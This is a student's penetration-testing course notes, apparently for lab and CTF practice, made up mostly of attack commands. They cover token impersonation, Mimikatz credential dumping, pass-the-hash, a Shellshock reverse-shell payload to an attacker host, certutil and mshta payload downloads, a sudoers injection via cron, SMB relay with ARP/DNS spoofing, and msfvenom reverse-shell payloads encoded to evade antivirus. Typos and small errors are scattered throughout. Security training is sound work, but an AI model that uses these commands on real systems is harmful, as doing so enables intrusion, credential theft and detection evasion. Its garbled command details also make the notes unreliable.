Created and managed by lsass. The tokens are generated by winlogon.exe

impersonate - non interactive logon 
delegate - for RDP sessions

delegate pose the bigger threat 

We need the following for a impersonation attack:
SeAssignPrimaryToken - impersonate tokens
SeCreateToken - create a token with admin rights
SeImpersonatePrivilege - Create a process under the security context of another (typicall with admin rights)

Incognito is meterperer (used to be standalone app)

Incognito can list available tokens 

get meterpreter session 

pgrep explorer 
migrate 3111
getuid
getprivs

Look for SeImpersonatePrivilige

load incognito 
list_tokens -u (list user tokens)

if we see an admin token 

impersonate_token "server\admin"
getuid
getprivs

pgrep explorer
migrate 3111
get privs


If we don't see any tokens we can use, we can use the potatoe attack which will generate an admin token which you can then use.


Alternate data streams (ADS)

ADS is a NTFS file attribute which was created to work with HFS on MacOS.

metadata is data about data
like the data is a .mp3 but the metadata is the date created etc

attackers can use ADS to hide their payload
When the user runs the legitimate file the ADS is run which the malicious payload


Create test.txt fie
data stream is the text inside the file
properties of the file is the resource stream

We can make a hidden file this way
notepad test.txt:secret.txt

lets say we have a payload.exe
type payload.exe > windowslog.txt:winpeas.exe
fill windowslog.txt with some dummy data
delete payload
start windowslog.txt:winpeas.exe

cd windows\system32
mklink wupdate.exe C:\temp\windowslog.txt:winpeas.exe


Windows password hashes

We don't want to store passwords in clear text
We store a hash of the password, this can be checked vs the password being entered later
Is stored pw hash = hash of password input ?
If yes we can allow the login/access.


Windows stores the hashes in the SAM (Security Access Management)  database

Authentication and verification of user credentials is facilitate by LSA (Local Security Authority) the lsass.exe process 

Windows version s up to Server 2003 utilize two different types of hashes 
LM
NTLM (most likely in the wild)
Windows disables LM hashing and uses NTLM hashing from vista onwards

SAM
All passwords are stored hashed
File can't be copied while the system is running
This is because attackers were dumping the DB
So while windows is on the file can't easily be dumped
However attackers have got around it with in memory techniques and tools to dump the SAM hashes from lsass process.
In modern versions of windows the SAM database is encrypted with a syskey
Need elevated privs and a way to bypass the file lock to dump hashes.

LM (lanman) hashing very weak by todays standards. Using DES encryption. 

NTLM is a collection of auth protocols that are used to facilite auth between computers.

Vista disabled LM hash and uses NTLM

When a user account is created the password is encrypted by MD4 hashing and original password disposed of.

NTLM improvements
Does not split the hash into two smaller chunks
Case sensitive 
Allows the use of symbols and Unicode characters 
Passw0rd!?   > MD4 > c46b9e588fa0d112de6f59fd6d58eae3 (NTLM hash)

Finding passwords in windows configuration files

A common task for a sysadmin is to create an unattended setup utility
If the admin leaves the config file behind then an attacker can find it
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Autounattend.xml

Create a payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=k.k.k.k LPORT=1234 > payload.exe

Start simple web server to host the file
python -m SimpleHTTPServer 80

Certutil can be use to download a file like wget but i nice way to hide what we are doing
certutil -urlcache -f http://k.k.k.k:80 payload.exe

Start you handler
use multi/handler/
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 1234
set LHOST k.k.k.k
run

execute the payload on the target system

Now we should have our meterpreter session

search -f Unattend.xml

cd Windows
cd Panther 
download Unattend.xml

cat Unattend.xml
We might the password in <Password>xxxxxxxx</Password>
Usually encoded in base64

Copy that 
echo xxxxxx > pw.txt
base64 -d pw.txt

The admin may have changed password since but often does not.

psexec.py Administrator@t.t.t.t
Password: xxxxxxx

whoami


PowerSploit 
script to look for these kind of creds left in files

powershell -ep bypass (PowerShell execution policy bypass)
. .\PowerUp.ps1
Invoke-PrivescAudit

cat C:\Windows\Panther\Unattend.xml

Decode base64 in windows powershell
$password='QWRtaW5AMTIz'
$password=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($pa
ssword))
echo $password

Test your new creds
runas.exe /user:administrator cmd

Now you can deliver a payload with the new creds 

Another tool to download a file
mshta.exe http://10.10.31.2:80/payload.hta


Dumping hashes with mimikatz

Mimikatz is windows post exploitation tools used to extract
passwords
hashses
kerberos tickets

It can get them out of the lsass.exe

There is a meterpreter module called kiwi that runs in memory

You need elevated privs to run it

Lets say we already have meteepter session with elevated privs

So we got access, and esclated privs already to NT AUTHORITY\SYSTEM

meterpreter>
load kiwi
creds_all
lsa_dump_sam

WE get Syskey, SAMkey and NTLM hash

lsa_dump_secrets
Sometimes you will get something useful here

You can list kerberos tickets and create golden Kerberos ticket.

If the user's password is weak we can crack the hash and get the password.

However if we can't crack we can still use the hash in pass the hash type attacks

Mimikatz with the executable
meterpreter>
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
shell
.\mimikatz.exe
privilege::debug
20 ok is good

lsadump::sam
More info than the kiwi module

lsadump::secrets


Pass the hash attacks

Use the hash to authenticate via SMB etc.
Tools for pass the hash
Metasploit PsExec module
Crackmapexec
evil-winrm

Assuming we have meterpreter session 

meterpreter> pgrep lsass
migrate 780
getuid

Now we have NT AUTHORITY\SYSTEM privs

Load the mimikatz module
load kiwi

Dump the hashes
lsa_dump_sam

record the hashes found 
username:hash

admin:0ccd8kjld089712415ee32

Need the LM hash for this psexec attack
meterpreter>  hashdump

msfconsole> use exploit/windows/smb/psexec
info
set LPORT 4442
set RHOSTS t.t.t.t

set SMBUser Administrator
set SMBPass  [LM hash here]     xxxxxxxxxxxxx:yyyyyyyyyyyyyyy
run

We should get meterpreter> session

set target command
run

set target Native\ upload


crackmapexec smb t.t.t.t -u admin -H "[NTLM hash]"

Notice this one uses NTLM hash instead of LM hash


Frequently exploited linux services
Linux is free and open source 
Because of this there are many differnt distros from specific use cases like kali to general like ubuntu and mint etc.
Most servers we will find will be running linux.
  • Apache and nginx TCP 80/443 are the common web servers
  • SSH TCP 22 is the common remote access tool
  • FTP TCP 21 is often found but should be moved to SFTP
  • SAMBA TCP 445 (similar to SMB on windows)
Exploiting bash CVE-2014-6271 (Shellshock)
This one affected bash/apache and gave the attacker a reverse shell

Not common any more but good to know about.

BASH is the default shell for most linux distros. The CLI.

BASH had an issue where it was executing commands after a series of special characters.

Common gateway interface (CGI) scripts can run something on the server (like get the time/date) and then display it on the webpage. So the attacker just needed to find an apache web server that was running CGI script. They could craft a HTTP header with the normal command, then the special characters and then the payload.

Lab testing 
nmap -sV -p80,443 t.t.t.t

Lets say we see apache web server running

If we inspect the source code of .cgi scripts we can see one "gettime.cgi"

nmap -sV t.t.t.t --script=http-shellshock --script-args "http-shellshock.uri=/gettime.cgi"
 
The script tells us if it is vulnerable

Burp suite is a proxy where we can observe traffic and make changes to headers etc 
Config your browser to use the burpsuite proxy

Kali > Web application analysis > Burpsuite

Repeater tab
Replace the user agent with the special characters followed by the command you want to run

() {:;}: echo; echo; /bin/bash -c 'cat /etc/passwd'

Click the send button. Burp will display a list of all the passwords.

Setup a listener on attacker machine
nc -nvplp 1234

Replace our command with a payload
() {:;}: echo; echo; /bin/bash -c 'bash -i>&/dev/tcp/x.x.x.x/1234 0>&1'

Launch bash and redirect the output out to the TCP connection

Check your handler we should have a reverse bash shell.

Metasploit
sevice postgresql start
msfconsole 
search shellshock
use exploit/multi/http/apache_mod_cgi_bash_env_exec
info
set RHOST t.t.t.t
set RPORT 80
set TARGETURI /gettime.cgi
run

We should get a meterpreter shell 
sysinfo
getuid
getsystem

Nessus
Vulnerability scanner made by tenable 
We can import the data into metasploit

Nessus essentials is free and allows up to 16 IPs to be scanned

chmod +m nessus.deb
sudo dpkg -i nessus.deb

sudo systemctl start nessusd.service 
sudo systemctl status nessusd.service 
https://localhost:8443

run scan
export nessus (.nessus) file
start msfconsole
workspace -a NESSUS
db_import /home/kali/downloads/nessus.xml

hosts
services
vulns  

Search by port/service
vulns -p 445
vulns -p 443
vulns -p 80

Search by CVE year and service
search cve:2017 name: smb

Search by microsoft number
search MS12-020

WMAP
Web app scanner, can be used to automate web server enumeration and is a Metasploit plugin that we can load and use.

service postgresql start
msfconsole 
workspace -a scanning

setg RHOST t.t.t.t
setg RHOSTS t.t.t.t

load wmap

wmap_ (press tab)

wmap_sites -h (for help)
wmap_sites -a t.t.t.t

Setup new target
wmap_targets -t http://t.t.t.t/

wmap_sites -l (list sites)
wmap_targets -l (list targets)

Uses the namp modules

wmap_run -h (help)
wmap_run -t (see what modules can be run against our target)
wmap_run -e (Run those modules)

The output will come out

We will see the http server version
Looking out for the HTTP methods available over time, GET,HEAD, PUT and POST

auxiliary/scanner/http/http_put can be used to upload a file
attacker would try upload a web shell, then browse to that file to execute it and get the reverse shell

curl http://t.t.t.t:80/test_file.txt




exploiting FTP on Linux

FTP requires authentication
Sometimes they are configured for anonymous login
There are lots of FTP versions which can be checked for vulnerabilities in the usual way

After that we are looking at a brute force 

Look for nmap scripts
ls -al /usr/share/nmap/scrripts/ | grep ftp-*
 
Brute force with hydra
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/metasploit-framework/data/wordlists/unix_passwords.txt 192.168.1.100 -t 4 ftp

ftp 192.168.1.100 admin BadPW
dir
get flag.txt

Exploiting SSH
SSH is the main remote access / CLI. Remote shell. Probably on 90% of linux servers. Often running on TCP port 22.

Authentication can be
local username and password (weakest)
RADIUS / MFA (better than above, adding MFA makes it stronger)
Key based auth using certificates (private key) Attacker would need to get a private key, not impossible. 

Nmap
nmap -sV 192.168.1.100

Brute force with hydra
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt -t 4 ssh

ssh admin@192.168.1.100
BadPW
whoami
groups admin
uname -r
cat /etc/passwd

Metasploit
use auxiliary/scanner/ssh/ssh_login
set RHOSTS t.t.t.t
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt
set STOP_ON_SUCCESS true
set VERBOSE true
exploit

sessions
sessions -i 1
find / -name "flag"
cat /flag


Exploiting SAMBA on linux

SMB used to share files
It won't be too common to find but when we do have a level of access it can be a good way to
extract files/data etc. Always good to have another thing to check.

Brute force can be done with hydra

nmap -sV 192.168.1.100

hydra -l admin -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

smbmap -H 192.168.1.100 -u admin -p BadPW

smbclient -L 192.168.1.100 -U admin

smbclient //192.168.1.100/share1 -U admin
dir
get flag.txt

tar xzf flag.tar.gz

Enumerate all info
enum4linux -a 192.168.1.100

Get more with credentials 
enum4linux -a -u admin -p BadPW 192.168.1.100


Linux Kernel Exploits

linux-exploit-suggester

Same issues you can cause kernel panics / crashes.

www-data
is a user account that is un privileged

/tmp is the temp directory 

from a meterpreter shell 
upload the script
./les.sh
it will enumerate kernel exploits available 

The kernel version is important

you may need to compile c code with gcc

sudo apt-get install gcc

gcc -pthread payload.c - o payload -lcrypt

upload payload

chmod +x payload
./payload PW123

If it works it will create a privileged user 
WE can ssh into the server
cat /etc/passwd
cat /etc/shadow


Linux exploiting cron jobs

cron is the task scheduler in Linux

cron jobs can be scheduled to run on a defined schedule like a weekly backup

the crontab file is the file used to create/store cron jobs

cron jobs can be run by any user

cron jobs running at the root user are what we are interested in. For example let's say root is running a script but we have access to the script, we can add our commands to the script and wait for it to be executed with root privileges.

whoami

groups user

cat /etc/passwd

crontab -l 

check permissions on file
ls -lash

cat roots-file

Look if there is any scripts with this file
grep -rn /usr -e "/home/user/roots-file"

chmod 

printf '#!/bin/bash\necho "stundent ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy/sh

sudo -l


Exploiting SUID binaries

Set owner user ID. Linux has its normal file permissions chmod +755. There is also a special permission for specific situations which can allow a normal user to run a binary or script with the permissions of the owner instead of the normal user running the script. The legimate uses would let a normal user run something that needs root priv without making them a root users.

Attackers can try to exploit this to gain an elevated session if there is a vulnerability etc.

The sudo binary allows users to execute commands as the root user. The users need to be in the sudoers file but the sudo binary is owned by the root user.

We only want SUID binary's that have root rights and we have rights to execute them.

Starting on a linux system
whoami

groups student
ls - lash

If we see the s permission that is the  SUID permission

file welcome (get details on the file)
Look for missing shared objects, fill in your own malicious payload to gain a root shell

strings welcome

we can see the binaries 

cp /bin/bash greetings
./welcome
id
whoami
cat /etc/shadow


Dumping linux password hashes

Multiple users can log in at the same time.

All the users are in here /etc/passwd
Anyone can read this file

The shadow file has the password hashes but only root can access the hashed passwords

Prefix 
$1 is MD5      (old)
$2 Blowfish    (old)
$5 SHA-256   
$6 SHA-512  (more modern systems)

Dump the hashes, lets say we already have root access
switch to a bash session
/bin/bash -i

Upgrade to meterpreter 
sessions -u 1

Dump 
cat /etc/shadow

search hashdump
use post/linux/gather/hashdump
set session 2
run

Dumps the hashes "unshadowed" so they are ready for cracking

scan target
nmap -sS -sV t.t.t.t

script to find vuln on FTP port
nmap --script vuln -p 21 t.t.t.t

Start msfconsole 
/etc/init.d/postgresql start
msfconsole -q

search proFTPD
use exploit/unix/ftp/proftpd_133c_backdoor
set payload payload/cmd/unix/reverse
set RHOSTS t.t.t.t
set LHOST s.s.s.s
exploit -z

Dump hashes
use post/linux/gather/hashdump
set SESSION 1
exploit

Crash the hash
use auxiliary/analyze/crack_linux
set SHA512 true
run

Host & Network Penetration Testing: Network-Based Attacks

Network fundamentals recap
  • Packets are streams of bits running as electrical signals on the physical media (Ethernet/wifi).
  • Electrical signals travel on the Ethernet cable.
  • The NIC converts these signals into bits (1's and 0's).
  • The bits are grouped into Ethernet frames by the NIC driver.
  • Wireshark will organise the raw binary into hex code because AC is easier for humans to read than 10101100. Each letter in HEX is 4 bits.
  • The NIC and OS work with binary data.
  • The is some sharing of responsibilities between the NIC and OS
  • The OS extracts and processes the packets from these frames.
  • The frame will contain a payload, this is the data being sent.
  • The data is handed off to the relevant application to be used (like a browser or a file download).
  • This process happens incredibly fast—often in milliseconds or less—allowing for real-time communication over networks.

Frame (layer 2 data unit)
  • Preamble (to mark the frame so the NIC can spot it) 8 bytes
  • Destination MAC 6 bytes
  • Source MAC 6 bytes
  • Ether type 2 bytes
  • Payload (data) 46-1500 bytes
  • FCS (Frame Check sequence) error checking

The frame contains the header and the payload. The frame payload is usually an IP packet.

Packet (layer 3 data unit)
  • IP header - contains src/dst/ IP, TTL etc (20-60 bytes)
  • Payload (data)
The IP packet contains a payload as well. The IP payload is usually TCP/UDP.

Headers
There are headers at different layers:
  • Ethernet Header (Data Link Layer): Contains MAC addresses and type/length field.
  • IP Header (Network Layer): Contains source and destination IP addresses.
  • TCP/UDP Header (Transport Layer): Contains port numbers and sequence numbers.

Payloads:

There are payloads at different layers. You will also hear the term payload used for malicious code that is delivered by malware/exploits
  • Ethernet frame payload: An IP packet
  • IP packet payload: A TCP segment
  • TCP segment payload: Application data (e.g., part of a web page or file

The OSI Model 

Each layer relies on the other layers.

7 - Application (HTTP, FTP, IRC, SSH)
6 - Presentation (SSL/TLS, JPEG, GIF, SSH, IMAP) translates data between app layer and lower layers. The OS makes the payload data into a jpeg file for example.
5 - Session (APIs netBIOS, RPC) manages sessions, token control 
4 - Transport (TCP / UDP) 
3 - Network - (IP, ICMP, IPsec) logical addressing and routing 
2 - Data link - error detection, framing Ethernet 
1 - Physical - ethernet cables 1's and 0's

Keep in mind OSI is a refernece model, TCP/IP is what is used in the real world.

Firewall detection and IDS evasion

Detecting firewalls
nmap -sA (ack scan)

nmap -sn x.x.x.x

nmap -Pn - sS - F x.x.x.x


Look out for "closed" ports vs "filtered"

nmap -Pn -sA -p 445,3389 x.x.x.x

If there is no firewall we will see the state "unfiltered".
If there is a firewall we will see "filtered"

Fragmentation 
To evade IDS we can slow down our scans and we can fragment packets

No evasion here:
-F is the fast profile
-f is for fragmentation
nmap -Pn -sS -sV -F t.t.t.t

In wireshark we will see the syn's clearly.

Let's try fragmentation
-F is the fast profile
-f is for fragmentation
nmap -Pn -sS -sV -p 445,3389 -f t.t.t.t

Now in wireshark we will see the packets will be fragmented. This can confuse/evade IDS and any network admin looking at packets.

We can config an MTU
nmap -Pn -sS -sV -p 445,3389 -f --mtu 32 t.t.t.t

We didn't see any fragmentation because we set low MTU. Try a different value 8 (minimum)

nmap -Pn -sS -sV -p 445,3389 -f --mtu 8 t.t.t.t

IP Spoofing 
Lets pretend to come from the gateway 192.168.1.1 or 192.168.1.254

nmap
don't ping (-Pn)
syn scan (-sS)
service version detection (-sV)
fragmentation (-f)
data length (--data-length 200)
decoy IP (-D)

nmap -Pn -sS -sV -p 445,3389 -f  --data-length 200 -D 192.168.1.1 t.t.t.t


We can use multiple decoy IP's
-D 192.168.1.1,192.168.1.254

Now we will see fragmentation and spoofing in wireshark to further confuse/evade IDS.

We can also change the source port to make it appear like 53 (DNS) responses
-g 53 

Netbios 

Initial scan looking for open ports
nmap target.domain.com

We see 139 and 445 open
nmap -sV -p 139,445 target.domain.com

Running nmap scripts
nmap -p 445 --script smb-protocols target.domain.com

nmap -p445 --script smb-security-mode target.domain.com

Try to list the shares
smbclient -L  target.domain.com

Enum SMB users
nmap -p445 --script smb-enum-users.nse   target.domain.com

We find 4 users
admin, administrator, root, and guest

Create a users.txt file with these users inside

Try brute force with hydra
-L list of users
-P password file 

hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target.domain.com smb

We are returned the passwords for some of the users. Lets user administrator.

Metasploit
msfconsole -q
use exploit/windows/smb/psexec
options
set RHOSTS demo.ine.local
set SMBUser administrator
set SMBPass password1
run


We can reach target1 from target
run autoroute -s 172.30.19.0/24

Setup socks proxy 
background
use auxiliary/server/socks_proxy
show options
set SRVPORT 9050
set VERSION 4a 
exploit
jobs

Proxy chains
proxychains nmap target1.domain.com -sT -Pn -sV -p 445

-sT : TCP connect scan
-Pn : Skip host discovery and force port scan.
-sV : Probe open ports to determine service/version info
-p 445 : Define port to scan

CTRL + C
migrate -N explorer.exe
shell
net view 10.0.22.69


SNMP enum

SNMP used to manage/monitor devices. We can use this as penetration testers.
SNMP listens on UDP 161
SNMP traps are sent on UDP 162

Scan for open SNMP port 161
Try default and weak strings
collect information

nmap scan for udp port 
nmap -sU -p 161 t.t.t.t

Look for nmap scripts
ls -al /usr/share/nmap/scripts | grep -e "snmp"

Runnung nmap script
nmap -sU -p 161 --script=snmp-brute t.t.t.t

snmpwalk

We will try the public string "public" as this is the default
snmpwalk -v 1 -c public t.t.t.t

Run all scripts and dump the output to a file
nmap -sU -p 161 --script=snmp-* t.t.t.t > snmp_info

We can cat / grep this file later

We can get lots of information here like a list of users. We can use that to build a brute force.

Basic ping and nmap
ping target.domain.com
nmap target.domain.com

Checking for SNMP
nmap -sU -p 161 target.domain.com
nmap -sU -p 161 --script=snmp-brute target.domain.com

snmpwalk
snmpwalk -v 1 -c public target.domain.com

Run all scripts and dump info
nmap -sU -p 161 --script snmp-* target.domain.com > snmp_output

We find usersnames in this info, make a user file
echo administrator,admin > users.txt

Brute force with hydra
hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target.domain.com smb

Get a shell with metasploit and a username and password combo we have found
msfconsole -q
use exploit/windows/smb/psexec
show options
set RHOSTS target.domain.com
set SMBUSER administrator
set SMBPASS elizabeth
run

Switch to the windows shell
shell
cd C:\
dir
type FLAG1.txt


SMB relay attack

Man in the middle attack. We sit in the middle of the server and the client and we replay data to try trick one party into thinking we are the other to try gain some info or access.

  • Intercept (setup MITM server, can use ARP or DNS spoofing)
  • Manipulate (capture clients NTLM hashes)
  • Replay (replay the hash to impersonate that user)
  • Gain access (get that users access, could lead to lateral movement)
Network placement
You need an attack machine on the LAN between client and server
Client < attacker > SMB server

Metrasplot smb relay module
msfconsole
search smb_relay

use exploit/windows/smb/smb_relay
options
set SRVHOST a.a.a.a (ip of your kali machine)
set LHOST a.a.a.a (ip of your kali machine)
set SMBHOST t.t.t.t (set IP of target)


Configure dns spoofing with dnsspoof

Setup similar to a hosts file entry, we set our kali IP to any subdomin of the target domain
echo "a.a.a.a *.domain.com" > dns

Use that file with dnsspoof
dnsspoof -i eth1 -f dns (eth1 is where our kali machine IP is on LAN with target)

Enable  arpspoof by echoing the value 1 into this file
echo 1 > /proc/sys/net/ipv4/ip_forward

Run the arpsoof in both directions
arpspoof -i eth1 -t c.c.c.c g.g.g.g
the IP of the target client followed by the gateway
 
open new tab and spoof in the other direction gateway and client
arpspoof -i eth1 -t g.g.g.g c.c.c.c

Run exploit
Back in your metasploit smb_relay module run it
run 
jobs

wait a few minutes to intercept 
if it works this module will automatically open a meterpreter session
sessions
session 1
getuid

The metasploit framework

Opensource frame work for penetration testing released in 2003.
Industry standard choice.
Its modular so new exploits can be added.

Nessus scans can be imported into Metasploit so you can go from Nessus scann into pentest on the same hosts.

Key Terms
  • Interface - msfconsole
  • Module -  bits of code that perform a task. An example of a module is an exploit
  • Vulnerability - Weakness or flaw in computer system/network/software that can be exploited
  • Exploit - Code module that is used to take advantage of a vulnerability
  • Payload - Piece of code delivered to the target system by an exploit with the objective of executing arbitrary commands or providing remote access to the attacker. Usually the payload we want is a reverse shell.
  • Listener - A utility that listens for an incoming connection from a target

msfconsole
The primary cli interface

MSFcli - was discontinued in 2015. Was used for importing /exporting things 

Metasploit community edition 
Web based interface 

Armitage
Free java based GUI front end for the Metasploit framework

MSF architecture 

Libraries
  • Rex
  • MSF core
  • MSF base
Modules
  • Exploit  (a way to execute something)
  • Payload (what we execute, often to give a reverse shell)
  • Encoder (encodes payloads to evade AV/IPS detections eg shikata_ga_nai.rb)
  • NOP (Ensures payload sizes are consistent and target OS is stable after)
  • Auxiliary (Any module that can't be paired with a payload, enumeration, scanners etc)
Interfaces
  • MSFconsole
  • MSFcli
  • Armitage
  • Web
Payload types
Non stages payloads - Send together as a whole with the exploit
Staged payloads - A staged payload is send to the target in 2 parts.
The first part (stager) contains a payload that is used to establish the reverse shell download the second part (stage) and execute it

Meterpreter payload
The meterpreter (meta-interpreter) playload is an advanced multifunctional payload that is executed in memory on the target system making it difficult to detect.

It communicates over a stager socker and provides an attacker with an interactive shell on the target system which can
  • execute commands
  • browse file system, read, download/upload files
  • keylogging and more
MSF main directory
/usr/share/metasploit-framework

Modules:
/usr/share/metasploit-framework/modules

User defined modules
In inside your users own home directory
/home/user/.ms4/modules

Auxiliary scanner modules
/usr/share/metasploit-framework/modules/auxiliary/scanner

Linux exploits
/usr/share/metasploit-framework/modules/exploits/linux

How to use MSF with pen testing
MSF automates and speeds up scanning and exploitation 

PTES (penetration testing execution standard)
A standard created for penetration testing 

Pen test phases and where metasplot fits in
  • Info gathering (aux modules)
  • Enumeration (aux modules / importing Nessus)
  • Exploitation (exploit and payload modules)
  • Post exploitation (meterpreter) 
  • Persistent access (post exploitation modules)
  • Privilege escalation (post exploitation modules)
  • Lateral movement (post exploitation modules)
  • Clearing tracks
Install and config

Distributed by rapid7 but comes built into kali linux and parrot OS.

Update to latest:
Sudo apt-get update && sudo apt-get install metasploit-framework -y

Set up and check the DB
sudo systemctrl enable postgresql
sudo systemctrl start postgresq
sudo systemctrl staus postgresq

Initialize the DB (this will delete all data if you had any)
sudo msfdb
sudo msfdb init
sudo msfdb reinit
sudo msfdb status

Start metasploit
msfconsole 

MSF console basics

We can set the target IP and port with some variables, we can set local and global so we don't have to keep setting the same IP/range over and over

LHOST - local host used with reverse shell
LPORT - local port where the reverse shell is listening 

RHOST - target 
RHOSTS - multiple target systems
RPORT - target port

Basic commands
help

version - shows the version 
show all - shows all modules
show exploits - shows only exploits
show -h  - shows options for the show commadn

search portscan - search for modules with portscan in their name

use auxiliary/scanner/portscan/tcp
show options  (show info)
set RHOSTS 192.168.2.1
show options


back - takes us back out of that module

search -h
search cve:2017 type:exploit platform:windows
can be useful to look for recent exploits that may have a better chance to work

search eternalblue
we can use it by the number 
use 0

"No playload configured ..." message. We may need to set the x86 or x64 payload etc. We can change the payload.

Run - run the module

Sessions - shows all session if you have several setup

connect 192.168.1.1:80 - will show a banner if we connect to a router etc

Workspaces

If you are working as a pen tester you may have multiple scans going on at the same time for multiple customers/targets.

Make sure db is ok
db_status

workspace -h

workspace - shows us the current work space
hosts - shows the hosts stored in here

Make a new one
workspace -a CUST2
hosts 

workspace default 

Delete a workspace when finished with it
workspace -d CUST2

Rename
workspace -r CUST2 CUST3

Info gathering and enumeration

nmap scans can be imported into metasploit

nmap -Pn x.x.x.x (just do the port scan, no ping as it will probably be blocked)

nmap -Pn -sV -O x.x.x.x (sV and O give us the service versions and operating system if we can get it from the banner)

export these results into xml which can be imported into metasploit 

nmap -Pn -sV -O x.x.x.x -oX windows.xml

Importing the xml scan into 

service PostgreSQL start
db_status
workspace -a Windows
db_import /root/windows.xml
hosts
services

Running nmap scan from inside Metasploit 
workspace
workspace -a nmap_msf
db_nmap -Pn -sV -O t.t.t.t
hosts
services
vulns

Port scanning with auxiliary modules
Used for tasks that are no exploitation. Extracting information/scanning etc. These come in during post exploitation stage. We get a foothold on a PC inside the client network with an exploit. So we can then scan from there with auxiliary tools.
 
nmap/metasploit scan or phishing attack etc from outside
compromise LAN host with an exploit and make meterpreter reverse shell
Run auxiliary scans from the compromised LAN host

service postgresql start
msfconsole 
db_status
workspace -a port_scan
search portscan
use /auxiliary/scanner/portscan/tcp (or use 5)
set RHOSTS t.t.t.t
run

We don't have a GUI browser so we can't look at the page directly in a web browser
we can use curl
curl t.t.t.t
this will download and display the HTML code which can give clues. We see "xoda" in the title

Search for and run exploits
search xoda


use exploit/unix/webapp/xoda_file_upload
info
set RHOSTS t.t.t.t
set TARGETURI / (setting to root of the web server)
run

We should get a reverse shell (meterpreter)

Setting up autoroute on the revere shell
meterpreter> sysinfo

meterpreter> shell
/bin/bash -i 

$ ifconfig
We can see the IP addresses on the host 
t.t.t.t (the IP where we got in)
x.x.x.x  (LAN IP)

ctrl + C out

meterpreter> run autoroute -s 192.168.1.0/24 (IP subnet of the LAN)

meterpreter> background

sessions (list all active sessions)

Use the same scanning module but this time we run it on the inside host. This is autorouted by meterpreter
search portscan
use 5
set RHOSTS x.x.x.2 (the LAN target IP)
info
run

The initially exploited host is known as a pivot point where we can jump to other networks/hosts.

Client side attacks

Generating payloads with msfvenom

Get the client side to execute a malicious payload usually creating the reverse shell back to the attacker.
Send a phish email or trick a user into clicking a link or opening a pdf, maybe uploading to a web or FTP server etc. The end goal is to get the payload executed so we can get a reverse shell.

CLI utility used to generate and encode payloads. Its a combination of two older tools.

List all the types we can make
msfvenon --list payloads

os/32 or 64bit/what the payload will be/how to connect back

Staged (2 parts)
windows/x64/meterpreter/reverse_tcp

Non-staged (all in one):
windows/x64/meterpreter_reverse_http

Creating a payload
a.a.a.a = the attackers listener (usually kali) which needs to be setup before we run the payload
msfvenon -a x86 -p windows/meterpreter/reverse_tcp LHOST=a.a.a.a LPORT=1234 -f exe > /home/kali/Desktop/Windows_Payloads/payloadx86.exe

You can transfer this to the client PC or try send it via email etc.

msfvenon --list formats
list the different executables

linux
msfvenon -p linux/x86/meterpreter/reverse_tcp LHOST=a.a.a.a LPORT=1234 -f elf  > /desktop/lpayloadx86

chmod +x lpayloadx86

Host the files on a simple http server
sudo python -m SimpleHTTPServer 80

setup list

use multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set LHOST a.a.a.a
set LPORT 1234
run
Now its listening 

On the windows system
Browse to the http page
Download and execute the payload

This payload would likely be picked up by a AV so the payloads need to be encoded to evade 


Vulnerability scanning with metasploit

Metasploitable is a windows VM that is setup to test vulnerability scans.

Start the DB
service postgresql start

Start metasploit
msfconsole

Check DB
db_status

Make a work space
workspace -a MS3

Set global variables 
setg RHOSTS t.t.t.t
setg RHOST t.t.t.t

Run nmap from metasploit 
db_nmap -sS -sV -O t.t.t.t

Commands to see what was found
hosts
services

Search for all exploits by name
search type: exploit name: Microsoft IIS
search type: exploit name: MySQL 5.5
search Sun Glassfish

We need vulns for the rights versions we found in our scan otherwise there is a high chance it won't work.

We found an exploit but it doesn't list the version. Lets get more detail.

use exploit/multi/http/glassfish_deployer 

The info section will give more details
info
We can see here it should work on version 4 open source which matches what we have. Set the right options

set the payload (linux is default we are targeting windows)
set payload windows/meterpreter/reverse_tcp

Set the app rport
services (we can see its listening on port 8080
set APP_RPORT 8080

set RHOST (done by global variable).


Let's try use searchsploit which will search 

searchsploit "Microsoft Windows SMB" | grep \e "Metasploit"

search


metasploit-autopwn
This is a plugin available on git which will check your db 

Download from git
cd Downloads

wget https://x.x.x.x
ls

Move into plugins directory 
sudo mv db_autopwn.rb /usr/share/metasploit-framework/plugins

Go back to msfconsole and load the plugin
load db_autopwn

db_autopwn (to see useage)

Run it
db_autopwn -p -t
-p select modules based on open ports
-t show all matching exploit modules

This will show all exploits for port 80 etc but we want more targeted 

Limit it to open port 445
db_autopwn -p -t -PI 445

analyze command will check for exploits
analyze

vulns command will show us vulnerabilities found 
vuls

Client side attacks
Generating payloads with msfvenon

Encoding payloads with msfvencom
We want to encode our payloads so we  can avoid AV's
The first step we do is run in memory so our files never reach the hard drive
However we need to encode our payload so our payload file can evade AV
Changing 1 byte in the file will break the AV's companies signature

Meterpreter is shell code.

In Kali
msfvensom --list encoders

Best ones for us
cmd/powershell_base64 (power encoding powershell in base64)
x86/shikata_ga_nai (Polymorphic XOR additive feedback encoder)

x86 will work on 32 and 64 bit

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe > /home/kali/Desktop/encoded.exe

cd Windows_Payloads/
ls

We can encode it more than ones, the more times we encode the better our chance of evading AV
-i 10
or 
--iterations 10

We can pick 10 as usually after 10 its diminishing returns 

Let's do the same with our linux meterpreter 
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f elf > /home/kali/Desktop/encoded.exe

elf file for linux

Copy your new encoded file to the target and get it executed on the target. There are various methods to trick the users or use an exploit.
Below we host it on a simple web server 
cd Windows_Payload
sudo python -m SimpleHTTPServer 80

Setup handler 
msfconsole
use multi/handler
